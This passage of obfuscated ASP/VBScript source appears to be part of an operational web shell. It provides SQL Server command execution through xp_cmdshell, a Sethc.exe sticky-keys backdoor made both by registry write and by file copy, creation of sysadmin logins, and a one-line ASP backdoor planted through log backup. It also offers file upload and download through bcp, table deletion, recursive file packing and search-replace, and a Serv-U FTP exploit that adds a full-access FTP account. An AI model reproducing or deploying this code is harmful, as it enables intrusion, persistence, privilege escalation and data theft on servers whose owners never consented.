" +If Err Then Err.clear +If vdgad<>""Then +otrj vdgad +Response.Cookies(wumm&"vdgad")=vdgad +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +rs.Open "select @@version,db_name()",conn,1,1 +If Err Then +ignq="access" +Err.clear +Set rs=Nothing +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +rs.Open "select cstr('access')",conn,1,1 +If Err Then +ignq="others" +Err.clear +End If +rs.Close +Set rs=Nothing +Else +mfm=rs(0) +oaquw=rs(1) +rs.close +ignq="mssql" +%> + +<% +End If +If wkfvm="evu"And npkn=""Then +If ignq="others"Then +npkn="select * from "&ouo +Else +npkn="select * from ["&ouo&"]" +End If +End If +tcpp "oyhh","","","","","Show Tables","" +echo"
" +pppf True +olisd"wkfvm","evu" +olisd"vdgad",vdgad +skkkw"100%" +If ignq="mssql"Then +mypdl 1 +prj"Version : "&uhu(mfm)&"" +jwwxg +jjjv="sysadmin|db_owner|public" +mypdl 0 +echo"" +For Each strrole In Split(jjjv,"|") +If strrole="sysadmin"Then +rs.Open "select IS_SRVROLEMEMBER('"&strrole&"')",conn,1,1 +Else +rs.Open "select IS_ROLEMEMBER('"&strrole&"')",conn,1,1 +End If +If rs(0)=1 Then +echo "Current ServerRole : "&strrole&" " +rs.close +Exit For +End If +rs.close +Next +echo "| Switch Database : " +rs.Open "select name from ma"&aixd&"ster..sysdatabases",conn,1,1 +rs.movefirst +Do While Not rs.eof +echo ""&rs("name")&" | " +rs.movenext +Loop +echo"" +cdama +rs.close +Set rs=Nothing +End If +mypdl 1 +doTd"Execute Sql","10%" +wdjc"npkn",npkn,5 +ckzt"Submit","10%" +jwwxg +iroyi +xpor +If ignq="mssql"Then +echo"Functions : " +czw=Split("xp_cmd|xp_dir|xp_reg|xp_regw|wsexec|sbexec|fsocopy|makecab|addproc|delproc|enfunc|addlogin|addsys|logback|tvao|tgugh","|") +qieq=Split("xp_cmdshell|xp_dirtree|xp_regread|xp_regwrite|ws exec|sandbox exec|FSO copy|Cab copy|add procedure|del procedure|enable function|add sql user|add sys user|logbackup|saupfile|sadownfile","|") +For i=0 To UBound(czw) +echo""&qieq(i)&" | " +Next +echo"

" +usxip"xp_cmd",True +skkkw"100%" +mypdl 1 +doTd"com"&ehk&"mand","10%" +gsj"text","tboqk","net us"&xpbp&"er","80%","","" +gsj"button","","Generate","10%","onClick=""javascript:uog(tboqk.value)""","" +jwwxg +iroyi +echo"" +usxip"xp_dir",True +skkkw"100%" +mypdl 1 +doTd"Path","10%" +gsj"text","phghs",vuv,"80%","","" +gsj"button","","Generate","10%","onClick=""javascript:qhv(phghs.value)""","" +jwwxg +iroyi +echo"" +usxip"xp_reg",True +skkkw"100%" +mypdl 1 +doTd"Path","10%" +gsj"text","xpregpath","HKEY_LOCAL_MACHINE\SYSTEM\Curren"&ghfkv&"tControlSet\Control\Compute"&bewvk&"rName\Compute"&bewvk&"rName\Compute"&bewvk&"rName","80%","","" +gsj"button","","Generate","10%","onClick=""javascript:awvn(xpregpath.value)""","" +jwwxg +iroyi +echo"" +usxip"xp_regw",True +skkkw"100%" +mypdl 1 +doTd"Path","10%" +gsj"text","qxd","HKEY_LOCAL_MACHINE\SOFTWA"&qwse&"RE\Microsoft\Windows "&gud&"NT\Cur"&rtcm&"rentVersion\Image File Execution Options\Sethc.exe\debugger","80%","","4" +jwwxg +mypdl 0 +doTd"Type","" +gsj"text","gwbwx","REG_SZ","30%","","" +doTd"Value","" +gsj"text","alel","cmd.exe","40%","","" +gsj"button","","Generate","10%","onClick=""javascript:vsa(qxd.value,gwbwx.value,alel.value)""","" +jwwxg +iroyi +echo"" +usxip"wsexec",True +skkkw"100%" +mypdl 1 +doTd"com"&ehk&"mand","10%" +gsj"text","enkuf","cmd /c net us"&xpbp&"er","","","4" +jwwxg +mypdl 0 +doTd"Temp File","" +gsj"text","cnet","C:\WINDOWS\Temp\~098611.tmp","50%","","" +doTd"Step","20%" +echo"" +arqt"cmje","100%","" +isbb 1,1 +isbb 2,2 +iesnd +echo"" +gsj"button","","Generate","10%","onClick=""javascript:eomg(enkuf.value,cnet.value,cmje.value)""","" +jwwxg +iroyi +echo"" +usxip"sbexec",True +skkkw"100%" +mypdl 1 +doTd"com"&ehk&"mand","10%" +gsj"text","lsy","cmd /c net us"&xpbp&"er","","","5" +jwwxg +mypdl 0 +doTd"Mdb Path","" +gsj"text","zpvq","C:\windows\syste"&fky&"m32\ias\ias.mdb","30%","","" +doTd"Temp File","10%" +gsj"text","xcnu","C:\WINDOWS\Temp\~098611.tmp","30%","","" +echo"Step " +arqt"rsrh","40px","" +isbb 1,1 +isbb 2,2 +isbb 3,3 +iesnd +echo"" +gsj"button","","Generate","10%","onClick=""javascript:nuotc(lsy.value,zpvq.value,xcnu.value,rsrh.value)""","" +jwwxg +iroyi +echo"" +usxip"fsocopy",True +skkkw"100%" +mypdl 1 +doTd"Source","10%" +gsj"text","ctsva","C:\WINDOWS\syste"&fky&"m32\cmd.exe","35%","","" +doTd"Target","10%" +gsj"text","gupf","C:\WINDOWS\syste"&fky&"m32\Sethc.exe","35%","","" +gsj"button","","Generate","10%","onClick=""javascript:xggfk(ctsva.value,gupf.value)""","" +jwwxg +iroyi +echo"" +usxip"makecab",True +skkkw"100%" +mypdl 1 +doTd"Source","10%" +gsj"text","fpyy","C:\WINDOWS\syste"&fky&"m32\cmd.exe","35%","","" +doTd"Target","10%" +gsj"text","lnv","C:\WINDOWS\syste"&fky&"m32\Sethc.exe","35%","","" +gsj"button","","Generate","10%","onClick=""javascript:wdhut(fpyy.value,lnv.value)""","" +jwwxg +iroyi +echo"" +usxip"addproc",True +skkkw"80%%" +mypdl 1 +doTd"Procedure","20%" +echo"" +arqt"lfkia","100%","" +isbb "xp_cmdshell","xp_cmdshell" +isbb "xp_dirtree","xp_dirtree" +isbb "xp_regread","xp_regread" +isbb "xp_regwrite","xp_regwrite" +isbb "sp_oacre"&cky&"ate","sp_oacre"&cky&"ate" +iesnd +doTd"DLL","20%" +echo"" +arqt"ays","100%","" +isbb "xp"&rctid&"log70.dll","xp"&rctid&"log70.dll" +isbb "xpstar.dll","xpstar.dll" +isbb "odsole70.dll","odsole70.dll" +iesnd +gsj"button","","Generate","20%","onClick=""javascript:nqi(lfkia.value,ays.value)""","" +jwwxg +iroyi +echo"" +usxip"delproc",True +skkkw"40%" +mypdl 1 +doTd"Procedure","30%" +echo"" +arqt"eamd","100%","" +isbb "xp_cmdshell","xp_cmdshell" +isbb "xp_dirtree","xp_dirtree" +isbb "xp_regread","xp_regread" +isbb "xp_regwrite","xp_regwrite" +isbb "sp_oacre"&cky&"ate","sp_oacre"&cky&"ate" +iesnd +echo"" +gsj"button","","Generate","30%","onClick=""javascript:yqa(eamd.value)""","" +jwwxg +iroyi +echo"" +usxip"enfunc",True +skkkw"40%" +mypdl 1 +doTd"Function","30%" +echo"" +arqt"ijsqx","100%","" +isbb "xp_cmdshell","xp_cmdshell" +isbb "Ole Automation Procedures","sp_oacre"&cky&"ate" +isbb "Ad Hoc Distributed Queries","op"&xevwv&"enrowSet" +iesnd +echo"" +gsj"button","","Generate","30%","onClick=""javascript:gad(ijsqx.value)""","" +jwwxg +iroyi +echo"" +usxip"addlogin",True +skkkw"80%" +mypdl 1 +doTd"Username","10%" +gsj"text","addusername","Bloodsword$","30%","","" +doTd"Password","10%" +gsj"text","adduserpass","0kee","30%","","" +gsj"button","","Generate","20%","onClick=""javascript:ppqzl(addusername.value,adduserpass.value)""","" +jwwxg +iroyi +echo"" +usxip"addsys",True +skkkw"80%" +mypdl 1 +doTd"Username","10%" +gsj"text","sysname","Bloodsword$","30%","","" +doTd"Password","10%" +gsj"text","syspass","0kee","30%","","" +gsj"button","","Generate","20%","onClick=""javascript:oiaj(sysname.value,syspass.value)""","" +jwwxg +iroyi +echo"" +usxip"logback",True +skkkw"100%" +mypdl 1 +doTd"Content","10%" +echo"" +bgr"mxn","<%response.clear:execute request(""value""):response.End%"&">","100%",5,"" +echo"" +gsj"button","","Generate","10%","onClick=""javascript:qag(mxn.value,ulkns.value,logdb.value,logstep.value)""","" +jwwxg +mypdl 0 +doTd"Path","10%" +gsj"text","ulkns",iiju(".")&"\system.asp","40%","","" +doTd"Database","10%" +gsj"text","logdb",oaquw,"20%","","" +doTd"Step","10%" +echo"" +arqt"logstep","100%","" +isbb 1,1 +isbb 2,2 +isbb 3,3 +isbb 4,4 +iesnd +echo"" +jwwxg +iroyi +echo"" +usxip"tvao",True +prj"" +olisd"goaction",goaction +olisd"wkfvm","tvao" +olisd"vdgad",vdgad +skkkw"100%" +mypdl 1 +gsj"file","ndt","","30%","","" +prj"Save as(full path):" +gsj"text","wjiy","","40%","","" +gsj"button","","Upload","10%","onClick=""javascript:xzs('"&goaction&"','ndt','')""","" +jwwxg +iroyi +xpor +echo"" +usxip"tgugh",True +pppf True +olisd"wkfvm","tgugh" +olisd"vdgad",vdgad +skkkw"100%" +mypdl 1 +doTd"Remoto file(full path)","" +gsj"text","ekemb","","30%","","" +doTd"Save as","" +gsj"text","wjiy",vuv,"30%","","" +ckzt"Download","10%" +jwwxg +iroyi +xpor +echo"" +End If +echo"
" +End If +End Sub +Sub zzx() +If Not gdzvu Then On Error Resume Next +If ignq<>"others" Then ouo="["&ouo&"]" +conn.Execute"drop table "&ouo,-1,&H0001 +If Err Then +byv(Err) +Else +jdvsp("Table deleted.") +End If +oyhh() +End Sub +Sub eow() +If Not gdzvu Then On Error Resume Next +If ignq<>"others" Then ouo="["&ouo&"]" +Dim rs +Set rs=conn.Execute("select * from "&ouo,-1,&H0001) +jplxa(Err) +If rs.Fields.Count>0 Then +Response.Clear +Session.CodePage=936 +Response.AddHeader"Content-Disposition","Attachment; Filename="&ouo&".xls" +Session.CodePage=65001 +Response.AddHeader"Content-Type","application / ms - excel" +echo"" +For i=0 To rs.Fields.Count-1 +echo"" +Next +echo"" +Do Until rs.EOF +echo"" +For i=0 To rs.Fields.Count-1 +echo"" +Next +echo"" +rs.MoveNext +Loop +echo"
"&rs.Fields(i).Name&"
"&uhu(rs(i))&"
" +Else +jdvsp"It's empty." +oyhh() +okxls +End If +rs.Close +Set rs=Nothing +response.End +End Sub +Sub ndt() +xyw="8.0|1|1 SQLIMAGE 0 {size} """" 1 binfile """"|" +conn.execute "If object_id('dark_temp')is not null drop table dark_temp" +If InStr(mfm,"Microsoft SQL Server 2005")>0 Then +xyw=Replace(xyw,"8.0","9.0") +conn.execute("EXEC ma"&aixd&"ster..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC ma"&aixd&"ster..sp_configure 'xp_cmdshell', 1;RECONFIGURE;") +End If +If wkfvm="tgugh"Then +Dim rs,size +If wjiy=""Or ekemb="" Then +jdvsp"Not enough parameters." +oyhh() +okxls +ElseIf InstrRev(ekemb,".")>c:\tmp.fmt'") +Next +If wkfvm="tvao"Then +porwu() +Else +qlb() +End If +conn.execute "If object_id('dark_temp')is not null drop table dark_temp" +conn.execute("EXECUTE ma"&aixd&"ster..xp_cmdshell 'del c:\tmp.fmt'") +oyhh() +End Sub +Sub porwu() +If Not gdzvu Then On Error Resume Next +Dim rs,theFile,jyr,egbdi +If wjiy="" Then wjiy=vuv +If InStr(wjiy,":")<1 Then wjiy=vuv&"\"&wjiy +Set theFile=ars.File("ndt") +If InstrRev(wjiy,"\")>InstrRev(wjiy,".")Then wjiy=wjiy&"\"&theFile.FileName +conn.execute "CREATE TABLE [dark_temp] ([id] [int] NULL ,[binfile] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];" +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +rs.Open "SELECT * FROM dark_temp where id is null",conn,1,3 +rs.AddNew +rs("binfile").AppendChunk theFile.mzn() +rs.Update +conn.execute("exec ma"&aixd&"ster..xp_cmdshell'bcp ""select binfile from "&oaquw&"..dark_temp"" queryout """&wjiy&""" -T -f c:\tmp.fmt'") +set rs=conn.execute("EXECUTE ma"&aixd&"ster..xp_fileexist '"&wjiy&"'") +If Err Then +byv(Err) +ElseIf rs(0)=1 Then +jdvsp("File uploaded, have fun.") +Else +jdvsp("Upload failed, RPWT?") +End If +rs.close +Set rs=Nothing +End Sub +Sub qlb() +Dim rs +If Not gdzvu Then On Error Resume Next +conn.execute "CREATE TABLE [dark_temp] ([binfile] [Image] NULL)" +conn.execute("exec ma"&aixd&"ster..xp_cmdshell'bcp """&oaquw&"..dark_temp"" in """&ekemb&""" -T -f c:\tmp.fmt'") +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +rs.Open "select * from dark_temp",conn,1,1 +ewi wjiy,rs(0),1 +If Err Then +byv(Err) +Else +jdvsp("File downloaded,have fun.") +End If +rs.close +Set rs=Nothing +End Sub +Sub oyhh() +Dim sbooo,zmo,nldd,wqjsp,jplxo,mnxu +If Not gdzvu Then On Error Resume Next +jplxo=1 +mtz=0 +Set mnxu=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table")) +jplxa(Err) +Do Until mnxu.Eof +cvdty jplxo +zlpp""&mnxu("Table_Name")&"" +echo"" +echo"" +echo"" +echo"" +If wkfvm="showStructure"And ouo=mnxu("Table_Name")Then +Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,mnxu("Table_Name").value)) +echo"" +echo"
" +skkkw"80%" +mypdl mtz +cdama +doTd"Name","" +doTd"Type","" +doTd"Size","" +doTd"Nullable","" +jwwxg +Do Until rsColumn.Eof +nldd=rsColumn("Character_Maximum_Length") +If nldd="" Then nldd=rsColumn("Is_Nullable") +mypdl mtz +doTd rsColumn("Column_Name"),"" +doTd iscie(rsColumn("Data_Type")),"" +doTd nldd,"" +doTd rsColumn("Is_Nullable"),"" +jwwxg +cdama +rsColumn.MoveNext +Loop +iroyi +echo"
" +End If +prj"
" +cdama +jplxo=jplxo+1 +If jplxo=2 Then jplxo=0 +mnxu.MoveNext +Loop +Set mnxu=Nothing +Set rsColumn=Nothing +byv(Err) +End Sub +Sub evu() +Dim i,j,x,rs,Cat,tvb,bjye,vtyjq,oooeu +If Not gdzvu Then On Error Resume Next +Set Cat=wannd("ADOX.Catalog") +Cat.ActiveConnection=conn.ConnectionString +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +If Lcase(Left(npkn,7))="select " And ignq<>"others" Then +If lrmn=""Then lrmn=1 +rs.Open npkn,conn,1,1 +jplxa(Err) +lrmn=CInt(lrmn) +rs.PageSize=zphr +If Not rs.Eof Then +rs.AbsolutePage=lrmn +End If +If rs.Fields.Count > 0 Then +echo"" +mypdl 1 +For j=0 To rs.Fields.Count-1 +agb uhu(rs.Fields(j).Name) +Next +jwwxg +mtz=0 +For i=1 To rs.PageSize +If rs.Eof Then Exit For +mypdl mtz +For j=0 To rs.Fields.Count-1 +agb uhu(rs(j)) +Next +jwwxg +cdama +rs.MoveNext +Next +End If +mypdl mtz +vtyjq=rs.RecordCount/zphr +If InStr(vtyjq,".")>0 Then vtyjq=Int(vtyjq)+1 +echo"" +jwwxg +iroyi +rs.Close +Else +Set rs=conn.Execute(npkn,-1,&H0001) +jplxa(Err) +If rs.Fields.Count>0 Then +skkkw"100%" +mypdl 1 +For i=0 To rs.Fields.Count-1 +agb uhu(rs.Fields(i).Name) +Next +jwwxg +mtz=0 +Do Until rs.EOF +mypdl mtz +For i=0 To rs.Fields.Count-1 +agb uhu(rs(i)) +Next +jwwxg +rs.MoveNext +cdama +Loop +iroyi +rs.Close +Else +jdvsp"Query got null recordSet." +End If +Set rs=Nothing +Set Cat=Nothing +End If +byv(Err) +End Sub +Sub otrj(vdgad) +If Not gdzvu Then On Error Resume Next +Set conn=wannd("Ad"&rgc&"odb.Conne"&ytwmf&"ction") +conn.Open vdgad +jplxa(Err) +End Sub +Sub jhbt() +If Not gdzvu Then On Error Resume Next +If IsObject(conn)Then +conn.Close +Set conn=Nothing +End If +End Sub +Function iscie(flag) +Dim str +Select Case flag +Case 0: str="EMPTY" +Case 2: str="SMALLINT" +Case 3: str="INTEGER" +Case 4: str="SINGLE" +Case 5: str="DOUBLE" +Case 6: str="CURRENCY" +Case 7: str="DATE" +Case 8: str="BSTR" +Case 9: str="IDISPATCH" +Case 10: str="ERROR" +Case 11: str="BIT" +Case 12: str="VARIANT" +Case 13: str="IUNKNOWN" +Case 14: str="DECIMAL" +Case 16: str="TINYINT" +Case 17: str="UNSIGNEDTINYINT" +Case 18: str="UNSIGNEDSMALLINT" +Case 19: str="UNSIGNEDINT" +Case 20: str="BIGINT" +Case 21: str="UNSIGNEDBIGINT" +Case 72: str="GUID" +Case 128: str="BINARY" +Case 129: str="CHAR" +Case 130: str="VARCHAR" +Case 131: str="NUMERIC" +Case 132: str="USERDEFINED" +Case 133: str="DBDATE" +Case 134: str="DBTIME" +Case 135: str="DBTIMESTAMP" +Case 136: str="CHAPTER" +Case 200: str="WCHAR" +Case 201: str="TEXT" +Case 202: str="NVARCHAR" +Case 203: str="NTEXT" +Case 204: str="VARBINARY" +Case 205: str="LONGVARBINARY" +Case Else: str=flag +End Select +iscie=str +End Function +Sub omt() +If Not gdzvu Then On Error Resume Next +Dim theFile,qpsw,crlct,zih +If Right(wjiy,1)="\"Then +jdvsp"Can't edit a directory!" +okxls +End If +crlct=snqsz(wjiy,"\",False) +pppf True +If goaction="bjz"And wkfvm="omt" Then +qpsw=luuh(wjiy) +Else +qpsw=ksfhb(wjiy) +End If +byv(Err) +bgr"aunk",qpsw,"100%","25","" +If wkfvm="uen" Then +olisd"wkfvm","kcbe" +Else +olisd"wkfvm","save" +End If +echo"Save as :" +vots"text","wjiy",wjiy,"60","" +echo" Encode:" +arqt"act","80px","onchange=""javascript:if(this.value!=''){xzs('"&goaction&"',this.value,'"&omrpv(wjiy)&"');}""" +isbb"omt","Default" +zih="" +If wkfvm="uen" Then +zih=Replace(zih,"{$}","selected") +End If +echo zih +iesnd +echo" " +xzs"Save" +echo" " +vots"reSet","","ReSet","","" +echo" " +vots"button","clear","Clear","","onClick=""javascript:this.form.aunk.innerText=''""" +echo" " +vots"button","","Go back","","onClick=""javascript:xzs('"&goaction&"','','"&omrpv(crlct)&"')""" +xpor +byv(Err) +okxls +End Sub +Sub oubu() +If Not gdzvu Then On Error Resume Next +If goaction="bjz"And wkfvm="save" Then +pjby wjiy,aunk +Else +ewi wjiy,aunk,2 +End If +If Err Then +byv(Err) +Else +jdvsp"File saved." +End If +End Sub +Sub rxs() +If Not gdzvu Then On Error Resume Next +Server.ScriptTimeOut=5000 +If wjiy=""Then wjiy=dpqnl +If wjiy=""Then wjiy=vuv +If uhuv=""Then uhuv=iiju("DarkBlade.mdb") +If pswgc=""Then pswgc="fso" +uznjs"File Packer/Unpacker" +echo"
" +skkkw"100%" +mypdl 1 +pppf True +doTd"File Pack","10%" +gsj"text","wjiy",wjiy,"30%","","" +prj"
" +ckzt"Pack","10%" +jwwxg +mypdl 0 +doTd"Exceptional folder","" +gsj"text","lkp",lkp,"30%","","" +echo"" +iroyi +xpor +echo"
" +skkkw"100%" +mypdl 1 +pppf True +olisd"wkfvm","byuqp" +doTd"Release to","10%" +gsj"text","wjiy",wjiy,"30%","","" +prj"" +ckzt"Unpack","10%" +xpor +jwwxg +iroyi +echo"" +echo"
Notice: Unpacking need FSO object,all files unpacked will be under target folder,replacing same named!" +Select Case wkfvm +Case"kmulx" +zep"fso" +Case"bbn" +zep"app" +Case"byuqp" +nix() +End Select +End Sub +Sub zep(pswgc) +If Not gdzvu Then On Error Resume Next +Dim rs,vdgad,vwert +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +Set xbo=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +Set vwert=wannd("ADOX.Catalog") +If InStr(uhuv,":\")<1 Then uhuv=iiju(uhuv) +yjcj=aiy(uhuv,"\") +vdgad=jwv(uhuv) +vwert.Create vdgad +otrj(vdgad) +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,strPath VarChar,binContent Image)") +jplxa Err +xbo.Open +xbo.Type=1 +rs.Open"FileData",conn,3,3 +yjcj=Lcase(yjcj) +lcsgr=Replace(yjcj,".mdb",".ldb") +If pswgc="fso"Then +puvgw wjiy,wjiy,rs,xbo +Else +ewvy wjiy,wjiy,rs,xbo +End If +rs.Close +jhbt +xbo.Close +Set rs=Nothing +Set xbo=Nothing +Set vwert=Nothing +If Err Then +byv(Err) +Else +jdvsp"Packing completed" +End If +End Sub +Sub puvgw(wjiy,odkb,rs,xbo) +If Not gdzvu Then On Error Resume Next +Dim usk,theFolder,ydqp,files +If Not(cfho.FolderExists(odkb))Then +jdvsp"Folder dosen't exists or access denied!" +okxls +End If +lkp=Lcase(lkp) +Set theFolder=cfho.GetFolder(odkb) +For Each usk In theFolder.Files +If Not(mox(aiy(usk.name,"."),"^("&ubg&")$") Or Lcase(usk.Name)=yjcj Or Lcase(usk.Name)=lcsgr)Then +rs.AddNew +rs("strPath")=Replace(usk.Path,wjiy&"\","") +execute "xbo.Loa"&ikfh&"dFromFile(usk.Path)" +rs("binContent")=xbo.Read() +rs.Update +End If +Next +For Each usk In theFolder.SubFolders +If Not mox(usk.name,"^("&lkp&")$")Then +puvgw wjiy,usk.Path,rs,xbo +End If +Next +Set files=Nothing +Set ydqp=Nothing +Set theFolder=Nothing +End Sub +Sub ewvy(wjiy,odkb,rs,xbo) +If Not gdzvu Then On Error Resume Next +Dim usk,theFolder,khbtq +execute "Set theFolder=zaydb.NameS"&thra&"pace(odkb)" +For Each usk In theFolder.Items +If Not usk.IsFolder And Lcase(usk.Name)<>yjcj And Lcase(usk.Name)<>lcsgr And Not(mox(aiy(usk.name,"."),"^("&ubg&")$")) Then +rs.AddNew +rs("strPath")=Replace(usk.Path,wjiy&"\","") +execute "xbo.Loa"&ikfh&"dFromFile(usk.Path)" +rs("binContent")=xbo.Read() +rs.Update +End If +Next +For Each usk In theFolder.Items +If usk.IsFolder And Not mox(usk.name,"^("&lkp&")$") Then +ewvy wjiy,usk.Path,rs,xbo +End If +Next +Set theFolder=Nothing +End Sub +Sub nix() +If Not gdzvu Then On Error Resume Next +Server.ScriptTimeOut=5000 +Dim rs,str,theFolder +wjiy=wjiy +wjiy=Replace(wjiy,"\\","\") +If InStr(uhuv,":\")<1 Then uhuv=iiju(uhuv) +Set rs=wannd("Ad"&rgc&"odb.Reco"&mchqr&"rdSet") +Set xbo=wannd("Ad"&rgc&"odb.St"&jgcbg&"ream") +vdgad=jwv(uhuv) +otrj(vdgad) +rs.Open"FileData",conn,1,1 +jplxa Err +xbo.Open +xbo.Type=1 +Do Until rs.Eof +If InStr(rs("strPath"),"\")>0 Then +theFolder=wjiy&"\"&snqsz(rs("strPath"),"\",False) +Else +theFolder=wjiy +End If +If Not cfho.FolderExists(theFolder)Then +execute "cfho.CreateFold"&veerr&"er(theFolder)" +End If +xbo.SetEos() +xbo.Write rs("binContent") +execute "xbo.Sa"&klt&"vetoFile wjiy&""\""&rs(""strPath""),2" +rs.MoveNext +Loop +rs.Close +jhbt +xbo.Close +Set rs=Nothing +Set xbo=Nothing +If Err Then +byv(Err) +Else +jdvsp"Unpacking completed" +End If +End Sub +Sub dui() +If Not gdzvu Then On Error Resume Next +Server.ScriptTimeOut=5000 +Dim theFolder +uznjs("Text File Searcher/Replacer") +If wjiy=""Then +wjiy=bud +End If +pppf True +skkkw"100%" +mypdl 1 +doTd"Keyword","20%" +wdjc"esard",esard,4 +echo"" +jwwxg +mypdl 0 +doTd"Replace as","" +wdjc"zhi",zhi,4 +echo"" +jwwxg +mypdl 1 +doTd"Path","" +gsj"text","wjiy",wjiy,"","","" +echo"" +jwwxg +mypdl 0 +doTd"Search type","" +gsj"text","exfva",cgj,"","","" +ckzt"Search","" +jwwxg +iroyi +If esard<>""Then +echo"
" +rwxiy +If wkfvm="fsoSearch"Then +Set theFolder=cfho.GetFolder(wjiy) +Call baoa(theFolder,esard) +Set theFolder=Nothing +ElseIf wkfvm="saSearch"Then +Call lppd(wjiy,esard) +End If +echo"" +End If +If Err Then +byv(Err) +Else +jdvsp"Search completed" +End If +okxls +End Sub +Sub baoa(folder,str) +Dim ext,title,theFile,theFolder,sdjfq +sdjfq=False +If fcz=1 Then sdjfq=True +For Each theFile In folder.Files +ext=Lcase(aiy(theFile.Name,".")) +If searchType="filename"Then +If sdjfq And mox(theFile.Name,str)Then +cvs theFile.Path,"fso" +ElseIf InStr(1,theFile.Name,str,1) > 0 Then +cvs theFile.Path,"fso" +End If +Else +If mox(ext,"^("&exfva&")$")Then +If zmah(theFile.Path,str,"fso",sdjfq) Then +cvs theFile.Path,"fso" +End If +End If +End If +Next +For Each theFolder In folder.subFolders +baoa theFolder,str +Next +byv(Err) +End Sub +Function zmah(tth,s,method,sdjfq) +If Not gdzvu Then On Error Resume Next +Dim theFile,content,find +find=False +If method="fso" Then +content=luuh(tth) +Else +content=ksfhb(tth) +End If +If Err Then +byv(Err) +zmah=False +Exit Function +End If +If sdjfq Then +find=mox(content,s) +ElseIf InStr(1,content,s,1)>0 Then +find=True +End If +If rmpr Then +If sdjfq Then +content=dwqgl(content,s,zhi,False) +Else +content=Replace(content,s,zhi,1,-1,1) +End If +If method="fso" Then +pjby tth,content +Else +ewi tth,content,2 +End If +End If +zmah=find +byv(Err) +End Function +Sub lppd(wjiy,yrol) +If Not gdzvu Then On Error Resume Next +Dim title,ext,ydqp,ief,fileName,sdjfq +sdjfq=False +If fcz=1 Then sdjfq=True +execute "Set ydqp=zaydb.Na"&yfx&"meSpace(wjiy)" +For Each ief In ydqp.Items +If ief.IsFolder Then +Call lppd(ief.Path,yrol) +Else +ext=Lcase(aiy(ief.Path,".")) +fileName=aiy(ief.Path,"\") +If searchType="filename"Then +If sdjfq And mox(fileName,str)Then +cvs theFile.Path,"app" +ElseIf InStr(Lcase(fileName),Lcase(str)) > 0 Then +cvs theFile.Path,"app" +End If +Else +If mox(subExt,"^("&exfva&")$")Then +If zmah(ief.Path,yrol,"app",sdjfq) Then +cvs ief.Path,"app" +End If +End If +End If +End If +Next +byv(Err) +End Sub +Sub cvs(tth,agc) +Dim ovz +If agc="fso"Then +ovz="bjz" +Else +ovz="aeta" +End If +echo"
  • "&tth&"" +fach ovz,"omt",omrpv(tth),"Edit","" +Response.Flush() +End Sub +Sub kjplx() +If Not gdzvu Then On Error Resume Next +Dim vbu +vbu="darkblade" +qpry="User "&vaxil&vbCrLf +koooz="Pass "&wxh&vbCrLf +mzy="-DE"&epvdt&"LETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&vsbms&vbCrLf +mt="SITE MAINTENAN"&jzcut&"CE"&vbCrLf +nqihw="-SetDOMA"&rqqr&"IN"&vbCrLf&"-Domain="&vbu&"|0.0.0.0|"&vsbms&"|-1|1|0"&vbCrLf&"-TZ"&pio&"OEnable=0"&vbCrLf&" TZOKey="&vbCrLf +zgj="-SetUSERS"&odlmw&"etUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&vsbms&vbCrLf&"-User="&nuser&vbCrLf&"-Password="&npass&vbCrLf&_ +"-HomeDir="&vtyj()&"\\"&vbCrLf&"-Login"&sua&"MesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-Re"&jzfa&"lPaths=1"&vbCrLf&_ +"-Nee"&vikej&"dSecure=0"&vbCrLf&"-HideHi"&nby&"dden=0"&vbCrLf&"-AlwaysAllowLo"&fbmd&"gin=0"&vbCrLf&"-Cha"&blip&"ngePassword=0"&vbCrLf&_ +"-Quot"&pvpxm&"aEnable=0"&vbCrLf&"-MaxUsersLo"&nik&"ginPerIP=-1"&vbCrLf&"-Sp"&wuzkd&"eedLimitUp=0"&vbCrLf&"-SpeedLimi"&pbr&"tDown=0"&vbCrLf&_ +"-MaxNrUse"&porwg&"rs=-1"&vbCrLf&"-IdleTi"&mdth&"meOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_ +"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_ +"-MAINTENAN"&jzcut&"CE=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access="&vtyj()&"\\|RWAMELC"&anab&"DP"&vbCrLf +tgs="QUIT"&vbCrLf +uznjs("Ser"&tpzkq&"v-U FTP Exp") +Select Case wkfvm +Case "1" +qmnx +Case "2" +bfun +Case "3" +wqfl +Case "4" +lpcb +Case "5" +vyqpe +Case Else +If IsObject(Session("a"))Then Session("a").abort +If IsObject(Session("b"))Then Session("b").abort +If IsObject(Session("c"))Then Session("c").abort +Set Session("a")=Nothing +Set Session("b")=Nothing +Set Session("c")=Nothing +pppf True +olisd "wkfvm",1 +echo"
    Add Temp Domain
    " +skkkw "80%" +mypdl 1 +doTd"Local user","20%" +gsj"text","vaxil","Loca"&nby&"lAdministrator","30%","","" +doTd"Local pass","20%" +gsj"text","wxh","#l@$ak#.lk;0@P","30%","","" +jwwxg +mypdl 0 +doTd" Local port","" +gsj"text","txmf","439"&mmx&"58","","","" +doTd"Sys drive","" +gsj"text","tncir",vtyj(),"","","" +jwwxg +mypdl 1 +doTd"New user","" +gsj"text","nuser","go","","","" +doTd"New pass","" +gsj"text","npass","od","","","" +jwwxg +mypdl 0 +doTd"New port","" +gsj"text","vsbms","60000","","","" +echo"
    • " +iroyi +echo"" +xpor +End Select +echo"
    " +echo"
    " +skkkw "80%" +mypdl 1 +echo"
